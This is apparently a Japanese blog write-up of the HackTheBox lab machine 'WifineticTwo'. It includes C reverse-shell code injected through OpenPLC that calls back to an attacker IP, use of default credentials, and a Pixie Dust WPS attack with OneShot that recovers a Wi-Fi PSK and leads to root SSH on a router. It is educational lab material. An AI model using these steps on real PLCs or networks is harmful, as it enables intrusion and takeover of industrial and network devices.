今回はHackTheBoxのMediumマシン「WifinetcTwo」のWriteUpです!
名前からしてWi-Fiが関係していそうですね。どのようなマシンなのか楽しみです。
グラフはいつものMediumよりは少し簡単そうに見えますね...
評価的には若干癖が強そうですが、攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
WifineticTwo
列挙
それでは、攻略を開始しましょう。
まずはポートスキャンから始めます。
+[~/wifinetictwo]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.7
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
22番と8080番がオープンしています。
とりあえずブラウザで8080番にアクセスしてみましょう。
ログインページが表示されました。
軽くSQLインジェクションを試しましたが、発火しません。他にできるアプローチとして、今回のログイン画面は「OpenPLC」のものということがわかるので、デフォルトの認証情報がないか検索しました。
すると、「openplc / openplc」がデフォルトの認証情報であることがわかりました。
ログインできるか試してみましょう。
ログインに成功しました!
Command Injection
ではここから侵入につながる情報がないかダッシュボード内を列挙します。
色々とみていると、コードをカスタマイズする機能があることがわかりました。
コード変更後に、画面左下にある「Start PLC」を押下することで実行されます。コードをカスタムして実行できるということは任意のコマンドを実行できるかもしれません。実際に試してみましょう。
コードはC言語で書かれているので、追加するコードもCで統一します。まず、リバースシェルを取得するために必要なインポートを定義します。
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
次にリバースシェルを送信させるためのコードをupdateCustomOut()
の関数内に記載します。
void updateCustomOut()
{
int port = 2121;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.8");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
入力できたら、「Save Changes」を押下します。コンパイルが走るので成功するか確認しましょう。
コンパイルに成功しました。
root としてのシェル(attica01)
それでは、リバースシェルを取得しましょう。実行前に待ち受けを開始しておきます。
+[~]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
これで準備が整ったので「Start LPC」を押下し実行してみましょう!
WEBのレスポンスはタイムアウトになりますが、待ち受けを確認すると...
+[~]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.7] 56572
root@attica01:/opt/PLC/OpenPLC_v3/webserver# whoami
root
シェルを取得できました!
root@attica01:~# ls -l
total 4
-rw-r----- 1 root root 33 Aug 1 06:11 user.txt
ホームディレクトリ内でユーザフラグを取得できました!
ルートフラグの取得
それではここからルートフラグの取得を目指していきます!
すでにルートユーザではありますが、侵入先のホスト内にはルートフラグはなさそうです。おそらくここから他のホストへと接続を行うことでルートフラグが取得できるので、他のホストへ接続を行うための調査を行います。
とりあえずネットワークを調査します。ifconfig
を実行しましょう。
root@attica01:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.3.2 netmask 255.255.255.0 broadcast 10.0.3.255
inet6 fe80::216:3eff:fefc:910c prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:fc:91:0c txqueuelen 1000 (Ethernet)
RX packets 4898 bytes 403226 (403.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2924 bytes 456241 (456.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 10 bytes 576 (576.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 576 (576.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 02:00:00:00:02:00 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
出力を見てみると、eth0
が「10.0.3.2」であり、実際に外部からアクセスを行ったものとは異なることがわかります。つまりこのホストは仮想ホストであることがわかりました。
さらに興味深いものとして、wlan0
が存在しています。マシンの名前からしてもWi-Fiが怪しいのでこのインターフェースに調査の焦点を当てていきます。iw
を実行しましょう。
root@attica01:~# iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
last seen: 3560.752s [boottime]
TSF: 1722494845265159 usec (19936d, 06:47:25)
freq: 2412
beacon interval: 100 TUs
capability: ESS Privacy ShortSlotTime (0x0411)
signal: -30.00 dBm
last seen: 0 ms ago
Information elements from Probe Response frame:
SSID: plcrouter
Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
DS Parameter set: channel 1
ERP: Barker_Preamble_Mode
Extended supported rates: 24.0 36.0 48.0 54.0
RSNz * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: PSK
* Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
Supported operating classes:
* current operating class: 81
Extended capabilities:
* Extended Channel Switching
* SSID List
* Operating Mode Notification
WPS: * Version: 1.0
* Wi-Fi Protected Setup State: 2 (Configured)
* Response Type: 3 (AP)
* UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
* Manufacturer:
* Model:
* Model Number:
* Serial Number:
* Primary Device Type: 0-00000000-0
* Device name:
* Config methods: Label, Display, Keypad
* Version2: 2.0
SSIDの情報や暗号化方式が確認できました。
Pixie Dust attack
暗号化方式として、「WPS」が出力されており、これは非常に脆弱な方式です。HackTricksにも攻撃方法がまとめられています。
今回はOneShot
を使用し、「Pixie Dust attack」を行います。nonceを特定することでAPのWPS PINを容易に解読できるという攻撃です。OneShot
は以下のリポジトリからダウンロードできます。
それでは実行していきましょう。(私はCで作成されたoneshot
を使用しました。)
root@attica01:~# ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: e4e6052833fc9cf09c39a360e5be3b20
[*] Building Message M2
[P] PKR: b4d29ae8e05a747161ea0424e99eda158aa97bcaefbd4a29aa043e81b4c585443b5a6e039062cf1f57fbc97220e31a584781ed768d392ab26c9f4b7b6f566fef7ee95c2de57b3aeac89f2a9604e35a3a031a1c04888016be135249fe5b9d83987a7730537428c49bc78f8e84ce03365771d587e3a297401388de695e8cf8fa3fe9592c4aa323027d5ed6e5b2c1b2fcd87aab5115d881dd97420eba3fc6809a673169c4e53398f24fabc3ce44482ffef26e1d3e5a7a2113193f48b887041a52f4
[P] PKE: 566a93f777e6a95d8b757ddde5031ab1ebef7f4f36cc8c09a2b1209e6baa2bb415bc5a154812329920839c285dac286e641de1a04204ab31f3753f808aa435265e1444f89c43da91f2f9a7e79df4165c2aecd6ad66c3f6faecfb1b469c9d09d6b868ce0186a8af91ed0fbfa4cb0386c336cafae6488a90a9319a12c0687256719aebf5229776fd47ed734f0f9fe868ea541ada285970df72b87305078ce957caa22214fcee03c38a37713d023165acf0848dc73978df9216211fd13a4d91dea7
[P] Authkey: 3eb8dcdc46a545cc626232ba39174f9e842c61ba6a516050d12f3c86683a0758
[*] Received WPS Message M3
[P] E-Hash1: 92864ac8f60476f3293e645cd1faa2fbd21ab35f2e735589e7e809d3442c6ea6
[P] E-Hash2: 74e9f1d67ba972ff6bdcdea47ddcee6dca01e1c4579a43348c7bf12891df198c
[*] Building Message M4
[*] Received WPS Message M5
[*] Building Message M6
[*] Received WPS Message M7
[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter
PSKを取得することに成功しました!
これでWi-Fiに接続することができるので、接続していきましょう。wpa_passphrase
を実行し接続に必要な設定ファイルを作成します。
root@attica01:~# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config
続いてwpa_supplicant
を実行して接続します。
root@attica01:~# wpa_supplicant -B -c config -i wlan0
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
接続に成功しましたが、IPアドレスが付与されていないのでifconfig
を実行し、IPを付与します。
root@attica01:~# ifconfig wlan0 192.168.1.21 netmask 255.255.255.0
これで通信を行える状態になりました。あとはどのIPアドレスを持った対象に対して接続を行うか知る必要があるので、ARPを確認します。
root@attica01:~# arp -a
? (10.0.3.1) at 00:16:3e:00:00:00 [ether] on eth0
attica01 (10.0.3.52) at <incomplete> on eth0
? (192.168.1.1) at 02:00:00:00:01:00 [ether] on wlan0
今回の対象は「192.168.1.1」のようです。対象がわかったので、ポートスキャンを行いましょう。
root@attica01:~# ./nmap -n -Pn -v 192.168.1.1 --min-rate 1000
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
443/tcp open https
SSH、DNS、HTTP(S)が動作しています。
root としてのシェル(ap)
いつものようにブラウザからアクセスを...と思いましたが、現状の目的は他ホストへrootとして侵入しルートフラグを取得することです。なので、一度rootとしてSSH認証を試してみてもよいのではと考えました。パスワードはわかりませんが、先ほどWi-Fi接続の認証情報も取得しているため、使いまわしされているかもしれません。試してみましょう。
root@attica01:~# ssh root@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash)
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt 23.05.2, r23630-842932a63d
-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@ap:~# id
uid=0(root) gid=0(root)
なんと、パスワードが設定されていなかったことにより接続に成功しました!
root@ap:~# ls -l
-rw-r----- 2 root root 33 Aug 1 05:48 root.txt
驚きましたが、ルートフラグを取得し無事完全攻略達成です!
攻略を終えて
今回はいつものHackTheBoxマシンとは少し違った感じで面白かったです。また、Wi-Fiに対する攻撃は経験が浅いものだったので、学びにもなりました。ルートフラグを取得しに行く際は、マシンの名前がかなりヒントになりました。Wi-Fiを匂わせるものじゃなかったらもっと時間がかかっていたと思います笑
攻略パスを振り返ると、認証系で脆弱な部分が多かったのかなと思います。それこそ初期侵入がデフォルトパスワードだったり最後のOpenWRTに接続する時点でパスワードが設定されていなかったりと。セキュリティの脅威は脆弱性だけではないということを意識する必要がありますね。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!